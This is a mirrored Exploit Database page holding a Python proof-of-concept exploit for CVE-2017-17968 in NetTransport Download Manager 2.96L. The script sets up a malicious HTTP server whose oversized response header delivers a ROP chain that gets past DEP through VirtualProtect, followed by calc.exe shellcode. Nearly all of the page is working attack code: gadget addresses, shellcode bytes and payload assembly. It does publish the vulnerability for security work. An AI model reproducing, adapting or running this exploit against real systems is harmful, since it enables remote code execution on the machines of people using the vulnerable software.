NetTransport 2.96L – Remote Buffer Overflow (DEP Bypass)

• Exploit Database
• 119 阅读

• 作者： Aloyce J. Makalanga
  日期： 2017-12-29
• 类别：

  • remote
  平台：

  • windows
• 来源：https://www.exploit-db.com/exploits/43408/
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  #!/usr/bin/python   # Exploit Title: Buffer overflow in NetTransport Download Manager - Version 2.96L (DEP Bypass) # CVE: CVE-2017-17968 # Date: 28-12-2017 # Software Link: http://xi-soft.com/downloads/NXSetup_x86.zip # Exploit Author: Author: Aloyce J. Makalanga # Contact: https://twitter.com/aloycemjr # Vendor Homepage: http://xi-soft.com/default.htm # Category: webapps # Impact: Code execution #1. Description # #A buffer overflow vulnerability in NetTransport.exe in NetTransport Download Manager 2.96L and earlier could allow remote HTTP servers to execute arbitrary code on NAS devices via a long HTTP response. To exploit this vulnerability, an attacker needs to issue a malicious-crafted payload in the HTTP Response Header. A successful attack could result in code execution # #2. Proof of Concept #   #!/usr/bin/pythion         def main(): host = "192.168.205.131" port = 80   s = socket.socket(socket.AF_INET, socket.SOCK_STREAM) s.bind((host, port)) s.listen(1) print "\n[+] Listening on %d ..." % port   cl, addr = s.accept() print "[+] Connection accepted from %s" % addr[0]   #Disabling DEP by VirtualProtect() def create_rop_chain(): # rop chain generated with mona.py - www.corelan.be rop_gadgets = [ 0x10001653,# POP EAX # RETN [libssl.dll] 0x00485ed3,# MOV EAX,DWORD PTR DS:[ECX] # POP EDI # POP ESI # POP EBP # POP ECX # RETN 0x04 [NetTransport.exe] 0x41414141,# Filler (compensate) 0x41414141,# Filler (compensate) 0x41414141,# Filler (compensate) 0x41414141,# Filler (compensate) 0x00496596,# XCHG EAX,ESI # RETN 0x0A [NetTransport.exe] 0x41414141,# Filler (RETN offset compensation) 0x004ea919,# POP EBP # RETN [NetTransport.exe] 0x41414141,# Filler (RETN offset compensation) 0x41414141,# Filler (RETN offset compensation) 0x4141,# Filler (RETN offset compensation) 0x004608df,# & push esp # ret[NetTransport.exe] 0x0045e75f,# POP EBX # RETN [NetTransport.exe] 0x00000201,# 0x00000201-> ebx 0x00554dbc,# POP ECX # RETN [NetTransport.exe] 0x00000040,# 0x00000040-> edx 0x00499c92,# XOR EDX,EDX # RETN 0x04 [NetTransport.exe] 0x0041254c,# ADC EDX,ECX # POP EBX # ADD ESP,0C # RETN 0x04 [NetTransport.exe] 0x41414141,# Filler (RETN offset compensation) 0x41414141,# Filler (compensate) 0x41414141,# Filler (compensate) 0x41414141,# Filler (compensate) 0x41414141,# Filler (compensate) 0x0054e559,# POP ECX # RETN [NetTransport.exe] 0x41414141,# Filler (RETN offset compensation) 0x10004b93,# &Writable location [libssl.dll] 0x0050343f,# POP EDI # RETN [NetTransport.exe] 0x00487073,# RETN (ROP NOP) [NetTransport.exe] 0x10001653,# POP EAX # RETN [libssl.dll] 0x90909090,# nop 0x00486f78,# PUSHAD # RETN [NetTransport.exe] ] return &apos;&apos;.join(struct.pack(&apos;<I&apos;, _) for _ in rop_gadgets)   rop_chain = create_rop_chain()   #Tiny calc.exe shellcode   shellcode = ( "\xd9\xcb\xbe\xb9\x23\x67\x31\xd9\x74\x24\xf4\x5a\x29\xc9" + "\xb1\x13\x31\x72\x19\x83\xc2\x04\x03\x72\x15\x5b\xd6\x56" + "\xe3\xc9\x71\xfa\x62\x81\xe2\x75\x82\x0b\xb3\xe1\xc0\xd9" + "\x0b\x61\xa0\x11\xe7\x03\x41\x84\x7c\xdb\xd2\xa8\x9a\x97" + "\xba\x68\x10\xfb\x5b\xe8\xad\x70\x7b\x28\xb3\x86\x08\x64" + "\xac\x52\x0e\x8d\xdd\x2d\x3c\x3c\xa0\xfc\xbc\x82\x23\xa8" + "\xd7\x94\x6e\x23\xd9\xe3\x05\xd4\x05\xf2\x1b\xe9\x09\x5a" + "\x1c\x39\xbd" )   MaxSize = 60000 EAX_overwrite= "A"*16739 #Always trigger a crash at EAX   #EIP 004E7828 #evil = "\x28\x78\x4E\x90"   rop = rop_chain nops = "\x90"*10 pads = "C"*(MaxSize - len(EAX_overwrite + rop + nops + shellcode)) payload = EAX_overwrite + rop + nops + shellcode + pads   buffer = "HTTP/1.1 200 " + payload + "\r\n"   print cl.recv(1000) cl.send(buffer) print "[+] Sending buffer: OK\n"     cl.close() s.close()   if __name__ == &apos;__main__&apos;: import struct import socket main()     #3. Solution: # #No solution available at the moment.